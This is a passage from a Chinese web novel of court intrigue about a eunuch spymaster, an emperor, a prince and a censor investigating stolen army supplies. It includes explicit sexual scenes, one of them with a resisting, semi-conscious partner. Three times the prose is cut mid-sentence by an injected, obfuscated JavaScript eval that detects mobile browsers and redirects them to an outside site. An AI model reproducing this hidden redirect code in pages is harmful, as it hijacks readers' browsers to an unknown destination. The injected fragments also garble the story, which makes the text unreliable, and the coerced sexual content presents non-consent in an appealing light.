“好看么?”容倾麻木一笑,“不伦不类,不男不女,像一个怪物,对不对?” 不对。 赵珝轻声道:“很漂亮。” 说罢,他不等容倾的反应,将人抱到一旁的圈椅上,手指轻轻拨弄,蹭了一手的水。他听见容倾在吸气,在哭泣,在抗拒,他并不理会,只是俯身而上,轻柔地咬住一侧,像孩子寻求母亲的安慰一般。 容倾泪水朦胧地低下头,看着怀里的青年,竟然产生了一种荒谬的错觉。仿佛他还是那个十几岁的少年,怀里抱着几岁的赵珝。赵珝从小到大,就没吃过几口奶,都是米汤混着牛乳,拉拉扯扯凑合着活下来的。年幼的赵珝总会把头埋在容倾的胸前,只是睡觉,他也知道容倾没有,但他却很依恋。 有一点痛。 容倾张开手臂,抱住赵珝的头,闭上了眼睛。 赵珝的手指不得章法,略显粗暴地碾来碾去。容倾浑身颤抖,泪珠成线地掉,忽而赵珝松开了嘴,埋首向下。 糟糕透了。 当然,赵珝不觉得有什么糟糕的。 他脸上被溅上了汁水,笑了一笑,慢条斯理地掏出手帕,擦干净脸,然后轻轻贴上了容倾的小腹。 “母妃……”他近乎无意识地呢喃道。 大概是七八年前,容倾办了某个案子,受到了牵连,被革去一身的官职,关回了乾东五所。那时赵珝在屋外,听到屋里头在谈封妃的事。 赵瞻问容倾愿不愿意改头换面,到后宫里头当妃子,他可以把赵珝过继给容倾,往后也不必在朝廷之中举步维艰。 不可能的。 容倾死活也不可能答应的。 只是赵珝至今都惦记着那件事。 倘若成真,他是不是真的有一个“母亲”了呢?哪怕只是名义上的,哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16339375|182812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕没有血缘,但他和容倾之间,是有某种羁绊的。 他很长一段时间里,总是这么相信。 如今自然不会这般天真了。 他解下自己的腰带,缓缓起身,覆在容倾的身上,轻轻看着身下人的脸。容倾目光迷茫,显然已经神志不清了。 他咬住容倾的耳垂,将人摆弄成一个便宜他行事的姿势,试图蹭着容倾的大腿,仔细研磨—— “督主!督主!” 长乐急切的声音从屋外传来,甚至还拍起来了门。 “万岁爷急召!沈廷琛沈大人上了一封奏章……说、说要弹劾您……” 容倾几乎是立时清醒了,再怎么耽于情潮,也抵不过他对政事的敏锐。他几乎是用尽全力,狠狠推开赵珝,急忙收拾起自己。 他冷冷道:“滚开。” …… 暖阁。 早春时节,偶有春雪落下,宫里头自然还在烧着炭火,在暖炉里噼里啪啦地响着。 容倾到时,已经是回归了最齐整的模样。 官袍、帽子、发髻……一丝不苟。 他踏入暖阁,眼睛凌厉一瞥,便见沈廷琛跪在地上,背脊笔直,对他投来冷淡的一眼。 很好、非常好。 容倾登时起了杀心。 他只瞧了沈廷琛一下,立即跪在地上,一字一句道:“臣容倾,叩见万岁爷。” 啪嗒一声,一份奏章直直摔在容倾的面前。 “你翻看它,自个瞧瞧。”赵瞻的声音里听不出情绪。 容倾捧起那份奏章,一字一字读下来,只见上首细细列了他的几大罪状,从插手漕运、盐务,到四喜玩忽职守,私自下江南采办粮草…… 沈廷琛不愧是探花郎,相当会摆弄春秋笔法,许多事,或者说,许多容倾的罪,本只是用“内宦不得私自插手朝务”就能概括,偏偏被这人七绕八拐,字字句句,处处暗示他容倾野心勃勃,与辽东一事脱不了干系。 “容倾,”赵瞻又开了口,“你可认罪?” “回万岁爷,臣绝无二心!”容倾想都不用想,斩钉截铁地否认。 “是么?”赵瞻似乎起了身,缓步踱到容倾的面前。 容倾盯着眼前的那抹明黄色,咬牙切齿地重复道:“臣绝无二心,请万岁爷明察!” “那你和朕说说,为何朕遣胡阁老、吕阁老申饬五郎,你非得横插一脚?”赵瞻轻轻笑了一下,“还假借朕的名义……容倾,朕待你太好了,好得你有些忘乎所以了。” 容倾被迫抬起头,下颌被赵瞻的手死死捏住,身子几乎都要被提了起来。他正正撞上赵瞻的脸,一张深刻、英俊的脸,眼角有几丝细纹。 他恍惚地想,真像啊。 父子俩的脸。 “容倾,你太让朕失望了。”赵瞻叹了口气,语调彻底冷了下来。 19.拥抱 失望? 容倾想笑。 赵瞻这些年,类似的话对他说了不下十遍。 他眼里涌出泪珠,清澈、圆润的一滴泪,从素白的脸上滑落,洇湿了赵瞻的指腹。这幅样貌,若只说是我见犹怜,还少了几分动人心弦的神韵。 一旁的沈廷琛垂着头,余光瞥见容倾泪眼婆娑的神态,睫毛颤抖了一下,心里竟生出一丝“果然如此”的释怀——这般的会装可怜,也难怪盛宠十年、恩泽不断。 容倾自然不知沈廷琛心里的嘀咕,他跪在地上,举起双手,轻轻握住赵瞻捏着他下颌的手,像只做错了事、前来撒娇的猫儿,抖着声音道:“臣有罪,不该行事孟浪,妄自揣测圣意……” “圣意?朕有什么心思……需要你来揣测?”赵瞻似乎不为所动,只一昧看着容倾,语气甚至含着一丝笑意。 容倾泪道:“五殿下年轻气盛,今日若是任由两位阁老那般申饬殿下,万一言语间有个冲撞,或是阁老们问了什么不该问的……传出去,伤的不仅是殿下的颜面,更是天家的体统……臣一时心急如焚,方才偕越了。” 他张口闭口不提军饷一事,更不提漕运盐务,只拎着方才的事说道。无他,若无赵瞻的纵容,他也不可能在这些事务上插手颇深,而沈廷琛的弹劾,无非是给了赵瞻一个敲打他的由头。 危险的是他请走了二位阁老,与赵珝私下见面。 “臣当时想,万岁爷慈父心肠,必是不愿见父子之间生出嫌隙,更不愿让外臣看了不快。臣蠢笨,心想不如由臣这个奴才出面,先胡乱支应过去,把事情揽下来。雷霆雨露俱是君恩,要打要罚,关起门来自然是陛下您说了算,总好过……好过在旁人面前,失了皇家的分寸。” 他说得真切,泪水涟涟,眼尾和鼻尖都哭红了,雨打桃花一般的薄红,看得一旁的沈廷琛不动声色一皱眉。 ——避重就轻。 该扯的事一个不答,不该说的事洋洋洒洒一大篇,说到底就是为了脱罪。 沈廷琛斟酌着开口道:“陛下……” 谁料赵瞻只是回头瞧了他一眼,并不言语。 沈廷琛见了那眼神,心中一凛,便知今个儿要坏事。他久出外任,尚且不擅长揣摩圣意,一份弹劾,反教容倾胡搅蛮缠,化解了去。 也罢。 这时,赵瞻发话了。他的指腹上移,压住容倾因哭泣而分外艳红的唇,淡淡道:“好一张巧嘴儿,黑的能说成白的,死的能说成活的,朕素来晓得你最爱看热闹,是真去解围,还是去给五郎再添一把柴火的?” 说罢,松开了容倾的下颌,或许是用了力,留下了几道红痕。容倾兀自落了一会儿泪,随后以头抵地,哑声道:“臣该死!臣愚钝!臣只想着为万岁爷分忧,却办了坏事……请万岁爷重罚!” 泪珠儿滚落,他垂下湿润的睫羽,呢喃道:“只求万岁爷不要对臣失望……” 声音虽小,一旁的沈廷琛却听得一清二楚。沈大人胸口一阵发闷,他平生最恨这等巧言令色之辈,偏偏容倾做来,一派情真意切,明知这人是演的、眼泪是假的,心却忍不住偏过去。官场上,玩弄权术之人数不胜数,或摆弄权力,或交换利益,能把“人情”玩出花样的,确实少见。 沈廷琛不由得有几分佩服了。 暖阁寂静无声,赵瞻仍垂着头,端详着跪在地上的容倾,轻轻转动手上的玉扳指。 “回你的雍园闭门思过,罚三个月俸禄。”半响,赵瞻神色浅淡开了口,“至于沈卿的折子——” 皇帝看回沈廷琛,语气里听不出情绪:“其上所言之事,交由三法司按规矩办事。容倾,你需全力配合,若有半分隐瞒或阻挠,朕决不轻饶。” “臣……谢主隆恩!”容倾磕头谢恩,再抬头时,眸子里一片冷漠,黑沉沉地瞥了一眼沈廷琛,唇角微扯,露出一个意味不明的笑。 沈廷琛瞧见了,也不过淡淡一颔首。 梁子总归是结下了。 接下来,见招拆招,各凭本事罢。 …… “闭门思过?” 长乐扶着容倾上轿子,闻言神色一紧。 “督主,这……” “不打紧的。”容倾倒是一脸无所谓,他上了暖轿,松泛地窝进软垫里,“闭门思过么……正好忙了大半个月,回去也歇息歇息。” “好。”长乐放下帘子,笑了笑。 一路晃回雍园,容倾在轿子上浅浅睡了一觉。下了轿子,便见驯鹰的老番子对着海东青吹口哨,那只海东青扑腾着翅膀,羽毛飘落,发出一声悠长的尖啸。 “如何了?”容倾问老番子。 老番子笑道:“能捕猎了!” 容倾挑眉,叫人抓了几只耗子,丢进园子里,命令道:“□□,去!” 那海东青如离弦之箭,残影一闪,一起一落,覆满白羽的粗爪一张一握,已然擒住耗子,飞回容倾的跟前。它叼着耗子,歪着头看向容倾。那耗子已经被咬死了,脖颈处赫然一道血口子,滴滴答答掉着血。 场面着实有几分血腥,猛禽便是猛禽,对待猎物依然残忍,把几个围观的小内侍吓得不敢乱动。 “好孩子。”容倾伸出手,顺了顺海东青的背羽。他额角一抽,抚摸着手中的猛禽,掌心之下是海东青磅礴的生命力与野性。他莫名想起赵珝那日驯鹰的背影,腹中忽而一阵绞痛。 他终于想起值房里赵珝高大的身影…… 容倾直犯恶心。 他从未想过和赵珝做那事,他承认自己私底下混乱不堪,但这是他为数不多的坚守。他将赵珝看作是亲人,既然是亲人……怎能如此轻易地睡了? 登时连赵珝送的海东青也不愿再看一眼,他蹙着眉尖,捂住口鼻,胃里翻江倒海,喉间沤着一口血,对长乐道:“去拿药来……”说到一半,又想起那药的副作用,难受得腰都弯了起来。 长乐见状,心急如焚,连忙上前把他抱起来,步履匆匆,送他回到小楼二层安置。 容倾脸色惨白,歪倒在榻上,赌气道:“我不想吃药,把它拿远点……” 那药不是好东西,长乐自然也不愿意容倾多吃,人本就病着,还得被迫做那事儿,岂不是纯粹来折磨容倾的么?他只得叫了容倾自个偷摸养的江湖大夫。大夫说是操劳过度、一时气血不足,开了几服温补的药方子。折腾半日,容倾的脸色方才好转起来。 他躺在榻上,盖着一床的锦绣绸缎,像躺在一座冰冷而华丽的坟里。有风徐来,他侧过头,发觉窗户被长乐打开了。外头是瓦蓝瓦蓝的天,浩渺高远,小楼前的花树仍是枯寂的,不过枯枝上冒出了一点嫩绿的芽,在碧空下格外醒目。 浓烈喧闹的春日似乎不远了。 长乐伏在他的榻边,正用象牙梳给他梳头。光亮顺滑的乌发,洋洋洒洒铺满了床榻,如同一匹上好的黑色绸缎,冰凉丝滑,有几缕从榻上滑落,在地毡上蜿蜒……长乐梳罢容倾的头发,弯下腰,往容倾的枕下塞了什么东西。 “那是什么?”容倾虽意识昏沉,仍察觉到了异常,他偏过头,乌黑的眸子看向长乐。 长乐笑笑,又从枕下取出来,展示给容倾,原来是一块玉符,只小半个手掌大,雕刻着千手观音像。 “奴婢去大兴隆寺求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351518|182812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,说是护国大师开过光。督主,奴婢晓得您不信这个,但奴婢信……奴婢……我听闻观音菩萨有千眼、千手、千相,哪怕分一眼给咱们督主,也是好的,说不定哪一日病就好全了,督主欢喜的事也全成了。” 长乐说这话时,眼睛亮亮的,十分虔诚。 “……世上有千千万万人,观音菩萨哪里顾得过来?”容倾有些无奈。他是不信这东西,甚至若要算他的罪业,那可是数也数不过来,神佛又如何庇护?但他盯着那块玉符许久,忽而握住长乐的手,轻声道,“算了,你放着罢……多谢。” 他枕头下便多了一块玉符,和那块刻着“平安喜乐”的玉佩紧紧挨着。 “你陪我睡一会儿,好不好?”容倾又困了,整个人在榻上蜷缩起来,很小很小的一团,乌黑的长发四散,像要融化了一般。 长乐并不拒绝,他翻身上了榻,掀开被子,轻柔地抱住了那具瘦弱的身子。他让容倾靠着自己的胸膛,嘴唇贴在怀里人的额头上。他是个阉人,不能文,武功还算可以,但依然什么也做不了,能给容倾的,好像也只有这一点微不足道的拥抱了。 他们紧紧相拥睡去。 …… 赵珝快要郁闷死了。 他使了个法子,乔装打扮,带着那个小内侍阿六,出了皇城,秘密前往明春楼。 这小内侍嘴多,一路上叽叽喳喳个不停,烦得赵珝脸都要笑僵了,心中烦乱不堪。于是他问阿六:“你之前在哪儿伺候?” 阿六道:“当然是在大佛堂啊!” 大佛堂里的和尚性子温和,导致里头伺候的小内侍都不大懂规矩。赵珝不信也得信,阿六这个性子,首先就不可能是容倾手下的。 要是容倾手下出来的…… 容倾可没闲心养个碎嘴子小孩来取乐。 不过他倒是觉得阿六好玩,便带回了乾东五所。 轿子走到一半,忽而停下了,前头传来争吵打骂声。赵珝烦躁,掀开帘子瞧了一眼,原来是某某家中有悍妻,而这人又想纳妾,两口子从家里头一直打到了街上,闹得四处都是看笑话的人。 阿六也探出个头,这十岁出头的小孩老气横秋道:“唉,妻不如妾,妾不如偷,偷不如偷不着。殿下,您瞧瞧这些人,痴男怨女——” “闭嘴。”赵珝冷冷道。 阿六摸摸鼻子:“哦。” 赵珝纳闷:“你一个佛堂里长大的小阉人,从哪里得知这些乱七八糟的话?” 阿六骄傲道:“学别人说的!虽说奴婢不能传宗接代,但以后也能讨一个漂亮的宫女姐姐做菜户,殿下,您可得为奴婢做主啊!” 赵珝被这小孩几句话戳中了伤心事,脸色一沉,让轿夫换了条路。他闭目养神,一路无话,脑海里满是容倾的脸、眼泪和身子,任凭阿六噼里啪啦一顿说,心绪纷杂,总算熬到了明春楼,睁开眼时,已恢复平日里的模样。 明春楼乃百年老字号,素有北直隶第一酒楼之美誉。但见楼阁飞檐斗拱、藻井彩绘、朱漆雕栏,期间食客往来如织,笑语纷呈,一派风流气象。赵珝对繁华熟视无睹,领着阿六,沿着琉璃百景梯,一路上到二楼的某雅间。 阿六平时话多,但嘴可严实了,乖乖站在阴影里,目送赵珝走进雅间。 雅间里已有了几个人。 其中一个,正是一脸风霜的辽东总兵吴怀英。这人平时与赵珝似乎有几分生疏,私底下竟然出乎意料的熟稔。 赵珝摘下斗篷,神色严肃,收起了用来伪装的散漫,长眉微压,语气威严道:“你们安排得如何了?还有,沈廷琛怎么突然弹劾起了容倾?” 20.枕风 沈廷琛为何弹劾起了容倾? “殿下……”吴怀英苦笑,朝赵珝拱了拱手,“四喜公公原本就是容厂臣麾下的人,他前往江南采办粮草,同时又给沈大人透露消息,很难不被怀疑到是厂臣的意思。” “我晓得。”赵珝皱起眉,“只是不曾想这沈廷琛的性子刚烈如此,才上任不到半个月,便迫不及待整顿朝纲了……只怕要坏事。” 辽东军响一案,可是他赵珝从头布置到尾的好戏,怎能允许区区一个沈廷琛搞砸了? 赵珝身上那点年少人的轻浮消散得一干二净。他独立窗边,遥遥望着红墙重重的皇城,脸上凝着一层淡漠的霜。 “是我大意了。” 赵珝沉声道。 “沈廷琛在南直隶,他若要查此事,必然沿着运河一路向上,加之四喜在江南有踪迹,很难不怀疑到容倾的身上……” 他转过身,眸中一片冰冷。 “吴帅,你们暂且按兵不动,我尝试接触一下沈廷琛,透露一点实情给他,争取他与我们联手……” 吴怀英闻言,沉吟片刻,谨慎道:“那厂臣呢?殿下,您说过厂臣一定会站在我们这边,但眼看厂臣和沈御史已经结了梁子,即使拉得动沈御史,厂臣那里……” “厂臣?”赵珝不以为意笑笑,“他当然会站在我们这边,因为只有我能给他最想要的东西——清白和功劳。况且他麾下那么多锦衣卫和番子,这些时日估计也查出来了些东西,中间还有一个四喜,他不可能拒绝和我联手。” 当下局面,他赵珝求的是“乱”,风浪越大鱼越贵,指不定还能钓出永定河下趴着的老王八,故而他不惜越搅越浑。而沈廷琛求的是真相大白和入内阁的功绩,行动雷厉风行,颇有几分刚直孤臣的派头。 至于容倾…… 赵珝目光微闪。 凭他对容倾的了解,大概求的是“稳”。皇帝的偏心、漕运盐务的利益……容倾一个也不能丢,这是容倾稳坐钓鱼台的根基。而他要给容倾的,便是一份由“清白”和“功劳”组成的大礼。 他大概还是有点少年人的心性,总想给容倾证明,他是一个可以依靠、依赖的男人。他不愿再见容倾日日到那个所谓的“父皇”面前,受尽敲打和失望。他有些失落地想,容倾怎么不明白呢? 当然,这些话不便同吴怀英讲述,赵珝垂下眼睛,继续对吴怀英道:“沈廷琛的弹劾,实则是一阵好风。他与容倾势不两立,掀起的风浪,足以让某些不安分的人露出马脚……比如内阁的某位。我送这位阁老去给容倾立功,如此一来,他欠我们一个人情,真相也得到了大白,父皇那儿也有了交代,岂不美哉?” 到时候功劳算容倾的,而他赵珝背了罪过。当然,这也并非是他的奉献,而是另有一番考量。如此一闹,他与辽东军关系匪浅一事必然泄露,赵瞻不会放心他外出就藩,他或许能顺理成章留在京师…… 吴怀英沉思许久,觉得此计虽险,倒也不失为上策,遂点头道:“殿下深谋远虑……只是这样一来,我等岂不是给厂臣做了嫁衣?” “那不是挺好的么?”赵珝的真心话脱口而出,他眼看吴怀英一脸茫然,立时一幅神秘莫测的样子,浅笑道:“容厂臣的人情,可不是谁都能欠的……” 忽而,他神色一凛,看向窗外的某个角落,冷冷道:“有人在偷窥!快走,按计划行事。让我们的人,把‘该送’的东西,给沈廷琛送过去!” “至于容倾那儿……” 他自会去谈判。 …… “督主,宋指挥使来报,说他今日在外头晃荡,意外在明春楼瞧见了五殿下。” 长乐一面给容倾添茶,一面说道。 “哦?不碍事,八成去见吴怀英的。”容倾闻言,神色不变,手上翻着账薄,“不查不晓得,一查吓一跳……辽东这事的手法,和当年大同的军饷亏空居然如此相似。” 不过四年前大同的军粮案,那可真是从头烂到尾,拨粮的人贪、粮商贪、漕运贪、督粮官贪,一路贪过去,到了士兵手里,全是霉变的烂米。容倾借采办粮草的名义,从江南一路杀到山西,将漕运从上到下狠狠整治一番,人头滚滚落地,朝中一时风声鹤唳。没想到这帮人非但没被吓到,还敢继续在他眼皮底下动辽东的粮草。 长乐却还有些忧心忡忡:“五殿下他……” “五殿下怎么了?”容倾在雍园里歇息了几日,气色好转许多,脸颊有了几分血色,披着一件大氅,窗外的绿芽愈发显目了,点点新绿在他眉间跳跃。 长乐犹疑道:“他究竟想做什么?” “他想搅浑水呀。”容倾笑笑。 长乐不解。 “你阿兄四喜,听他的话下江南采办,被那个沈廷琛看见了去……哪有这么巧的事?”容倾淡淡道,“分明是他故意的。沈廷琛是把好刀,毕竟由一个孤臣、直臣捅出这事,远比他、或者我捅出来要好得多。可惜被弹劾的是我,长乐你知道,我很记仇的。” 他敲了敲账簿:“贪墨军粮的人官职不会低,甚至在朝中颇有威信,他估计清楚是谁,才敢怎么肆无忌惮地搅浑水,也不怕我或者沈廷琛的报复……” 不能再待在雍园里了。 容倾指尖一动,低声道:“长乐,你进宫里头,到乾清宫……” 当夜,一顶轿子落在雍园,平日不住人的正屋里头燃起烛火。 来人正是赵瞻。 这屋子奇怪,挂着各式各样的衣裳,还有一面镜子,照得人影儿一清二楚,说是舶来的“玻璃”,比铜镜要清楚多了。 赵瞻抱着容倾,让人坐在自己腿上,轻轻顺着容倾的头发,笑道:“你让朕过来陪你,朕来了,你又不说话了,这怎么行呢?” 容倾靠在皇帝的肩上,泪珠儿直淌。 “朕听你身边伺候的人说,前几日你又病了?”赵瞻似乎心情不错,温声哄着怀里的人,“今个还好么?” 容倾总算开了口:“谢万岁爷挂念,臣好多了。” 赵瞻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16359812|182812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捏起他的下颌,细细瞧了一圈,忽而想起什么似的,拉开一旁的妆奁,从里头取出几盒妆粉胭脂。 上好的茉莉紫粉,均匀抹在容倾的脸上,反倒叫这张素白的脸,多了几分活人气。眉不画而翠,细弯的一两道,春山一般柔和,偏偏一双桃花眼艳得过分,抹上了薄红,更是动人心魄。最后是唇,有些苍白,赵瞻拈了一张胭脂纸,叫容倾抿着。 容倾听话地叼着那张纤薄的红纸,仰脸看着赵瞻。淡淡的玫瑰气息,细碎的金粉,在烛火下熠熠生辉,苍白的肌肤,微红的眼角,顾盼生辉的眸子,一头青丝流泻而下,活脱脱是艳画里头走出来的精魅。 他缓缓吐出红纸,薄唇被胭脂染得饱满嫣红。这般的妆恰到好处,少一分太寡淡,多一分又掩盖了天赐的好相貌。 他被赵瞻抱着,靠在男人怀里,看人给自己选衣裳。正旦节赐下的凤冠、头面,皆摆在一旁的妆奁里,时下妇人流行的衣裙、神仙画儿里头仙子的裙装、西南苗人的银装……赵瞻素来喜爱给他打扮,大抵是穿什么都好看,看得人赏心悦目,不免为此上心。一层层亲手给他换上衣裳,又一层层脱下来,衣裳是会变的,漂亮素白的身子却是永恒的,至少在他活着的时候,不会腐烂。 “朕记得去岁……叫人搜了几件西洋女人的衣裳,你收在哪儿了?”赵瞻瞧了一大圈,大多给容倾换过了,意兴阑珊,便低下头问容倾。 那西洋裙子…… 容倾悄悄蹙了眉,低声道:“臣让下头的人收起来了。” “取出来。”赵瞻淡淡道。 于是三更半夜,长乐带人一通好找,总算从小楼的某个角落翻了出来。一条暗红的,一条群青的,胸口开得很低,还有收腰的骨架子。 容倾身子纤瘦,骨架子仅仅起到支撑的作用。令他难堪的是,这西洋长裙几乎是袒/胸/露/乳了。赵瞻在背后抱着他,为他系着衣带,纤细的脖颈、精巧的锁骨,以及被这衣服挤出来的、近乎丰腴的……雪白一片,与锁骨上的红痣相得益彰。 “这西洋人的衣裳……啧,真是有伤风化。”赵瞻如此点评道。 容倾轻轻喘息。 …… 裙子下头,自然是什么都没穿的。 …… 容倾闭着眼睛,不敢看,他脸上的妆早花了,唇被皇帝亲了又亲,上头的胭脂全没了,但依然红肿诱人。他忽而浑身一颤,口中溢出细细密密的呜咽。 …… …… …… …… 但他记得自己要做什么。 完事后已将近五更,赵瞻肯定是睡不了了,待会还要回宫上朝。他抱着容倾小睡了一会儿,欲走时,容倾拉着皇帝的衣袖,眸子里满是委屈。 “万岁爷……” 容倾颤声道,青丝垂落,残妆凌乱,素白的身子上还有昨夜的痕迹。 别人说他祸乱朝纲,倒也说得不错。 毕竟他最擅长的一件事,便是给皇帝吹枕头风。 21.为你 “万岁爷,臣有事禀告。” 容倾半倒在榻上,身子未着寸缕,一半露在外头,一半浅浅盖着锦衾,青丝在瓷白的肌肤上蜿蜒,遮掩着下方深深浅浅的红痕。沿着蝶骨向后瞧去,便是一截柔韧的腰肢,落着两旋腰窝,腰侧皆是深红的指痕,可想而知这段腰是如何被男人握在手心里的。 他没什么力气,勉强撑着身子,脸上似乎还残留着不久前的情潮,眸子里一片朦胧。 赵瞻回身,扯起被角,将他严实盖住了,随后坐到榻边,把人抱进了怀里:“要说什么?累了一夜,不睡觉了?” “臣这些日子虽闭门思过,却不敢耽搁正事,昨日再翻大同当年的案子,仔细对比,竟发现账簿作假的手法一模一样……”容倾靠在皇帝的怀里,轻声道,“如此看来,辽东这事,怕是同一伙人弄出的乱子……” 赵瞻淡淡道:“竟是如此?” “臣已整理完毕,天一亮便遣人将奏章送入暖阁,请万岁爷圣裁。”容倾强撑着神志,一面说,一面又落下泪来,“还有那个沈廷琛……” 赵瞻听了他这番语气,便忍不住笑道:“你还同他置气呐?” “他一个苏州知府,还是今岁才上任的副都御史,哪来的职权,能沿着运河上下查个遍?”容倾抿了抿唇,一脸的委屈,“依臣看,分明是背后有人指示——” “是么?”赵瞻稍稍收起笑意,“沈卿是个难得的孤臣,虽说手段稍显激烈,却也难得……倘若东厂真查到了什么,再说不迟。你可有证据?” 有是有。 容倾一想到背后搅浑水的赵珝,头禁不住的疼。不过,他暂且不打算将赵珝捅出去,只需给赵瞻上一上眼药、挑起赵瞻的一点疑心便可。 这位皇帝文治武功另说,爱猜忌倒是真的,用好了皇帝的猜忌,总会有意想不到的收获,当然,也容易遭到反噬。 容倾干脆装傻,胡搅蛮缠道:“臣……臣也只是胡乱猜测罢了。臣只是气不过……他那般折辱臣,话里话外,说臣是个妖人,这不是在折辱万岁爷的脸面么?臣是万岁爷的人,打狗还要看主人呢……” 他演,也明白赵瞻看得出他在演。演戏被看穿了并不可怕,只要能让对方受用,就是一折子精彩绝伦的好戏,譬如此时此刻。 赵瞻闻言,轻笑一声,手指有一下没一下,轻轻梳理着他汗湿的乌发,像是在安抚一只猫。这只大多时候不太听话,偏偏又讨人欢喜得紧。 有些事,大多如此,尤其是对于皇帝而言,要的不是数量之多,而是“特殊”二字。赵瞻似乎认定了,容倾只会在他面前演出这幅娇气的模样,因为天底下只有他一个九五至尊。一人之下,万人之上,容倾与其他男人如何纠葛,也不会影响到他一分一毫。 当然,以上是容倾十余年来的揣摩。 至于赵瞻心里头怎么想的,恐怕只有他自己知道了。 只听赵瞻笑道:“朕知道了。你先好好歇息,明儿个不必再待着了,领着下头的人去把案子办好了。至于沈卿那儿……朕自有主张。” 说罢,只觉怀里一沉。皇帝低下头,瞧见他养的猫已经睡着了,睡颜沉静,艳色收敛了起来,只余下一抹稚气。 皇帝垂眸看了片刻,摸了摸他的额头,轻轻放回榻上,然后转身离去。 …… 沈廷琛回到府中时,天色已晚。 冷冷清清的一座宅子,里头的下人也寥寥无几,他回来时,桌上的饭菜已经凉透了。 倒也不是穷,是他不甚在意这些身外之物。他出身官宦之家,父亲曾是国子监祭酒,而分家的那个亲弟弟,闯南走北,做起了大买卖,已是一方富甲。他神色淡淡,随口扒拉了两口冷菜,填饱了肚子,便提灯步入书房。 忽而,他神色一凝。 只见那堆满案卷书籍的长案上,不知何时躺了一封陌生的信。 沈廷琛巡查四周,关紧门窗,只点起一盏油灯,就着微弱的光芒,拆开信封,一字一句瞧了下来。 信中条分缕析,将他如何被当作一把“刀”、又如何被刻意引向容倾……揭露得清清楚楚。他先是愕然,一股被愚弄的怒意直冲头顶,指节捏得咔咔作响。但那怒火只烧了片刻,便迅速冷却,沉淀为一种近乎冷酷的清明。 他无语凝噎,半晌,冷笑一声:“敢情我忙活了半天,原来是叫人算计了、当枪使了……”说罢,神色再次归于淡漠,将那几张信纸悬在灯上,任凭火苗舔舐殆尽。 纸张燃烧的火光映亮了他的脸。 他轻声道:“容倾……” 他不是头一次见容倾。 九年前的春闱,金殿传胪,站在皇帝身旁那身姿挺拔、意气风发的红衣宦官,便是容倾。那时他离的太远,只记得一抹灼目的红,和那与年纪格格不入的沉静。 后来在翰林院蹉跎三年,外放去了苏州,于四年前,又远远见了一面容倾。彼时大同军粮亏空一案闹得沸沸扬扬,他作为苏州知府,协查漕运,而容倾也奉旨南下,督办此案。 烟雨迷离的码头,他站在人群中,遥遥一眼,见那人身着素衣,未着官袍,正偏头与下属说话,侧脸曲线柔美清丽,眼角却是上挑的,一点点的艳,周身笼罩着一层莹润的柔光,于江南的柔雨之中,有种独特的清澈与锐利。 那一刻,他竟觉得,那不像是个弄权的佞幸,倒像是个…… 沈廷琛面色严肃,缓缓靠在椅背上,闭上了眼。 他本不屑于佞臣奸宦为流,也看不惯所谓的清流,自有一番雄心壮志。但似乎……容倾并非能用“忠奸”来简单评判的人,而他沈廷琛,也是同样的人。 孤臣也好、刚直也罢,都是为了往上爬戴起来的假面,谁敢将真心暴露在庙堂之上? 而阉人之流……也会有一位性情中人么? 比起与这藏头露尾的寄信人合作,他忽然觉得,或许那位同样身处漩涡中心、毁誉参半的东厂督主,会是一个……更有趣的伙伴。他活了三十年,还不曾对一个人如此好奇,忍不住想要扒开那人的心,瞧一瞧里头究竟是什么。 况且与容倾合作,指不定也要与这位寄信人会上一会呢。 沈廷琛淡淡一笑,心中了然。 明日三司会审,便是一个好机会。 他倒要亲自去会一会这位容厂臣,看看那漂亮的皮囊之下,藏的究竟是祸国的妖孽,还是能与他在这浑水中合作的……同道中人。 …… 说是三司会审,却也没那么严重。 辽东军各位将领、都督,沿途的督粮官,户部……三司合作,核对口供。 容倾自然也来了。 沈廷琛的那封弹劾,虽然被他大事化小,但面上的东西,还是要做足的。赵瞻信任他,文武百官可不一定,左右他清者自清,来瞧一瞧,也不是件坏事,也正好让他观察观察各人的反应。 他一入场,众人沉默片刻,而沈廷琛则大大方方看了他一眼,似乎有话要说。 容倾见了他就烦,垂下眼睛,托腮听这帮人扯皮。 扯来扯去,扯不到点子上,抓了几个督粮官,申饬了几个巡抚御史,场面又冷了下来。这时一个小内侍蹑手蹑脚走了进来,在容倾耳边说了几句话,他神色渐渐冷淡下来,一言不发,直直盯着眼前的小内侍。 阿六被他看得一身的冷汗,硬着头皮道:“殿、殿下是怎么说的……督主……您……” “咱家明白了。”容倾淡淡道。 说罢,他起身,叫长乐到主官那儿解释了几句,出了堂屋,跟随阿六,左拐右拐,拐进了一间角落里的屋子。 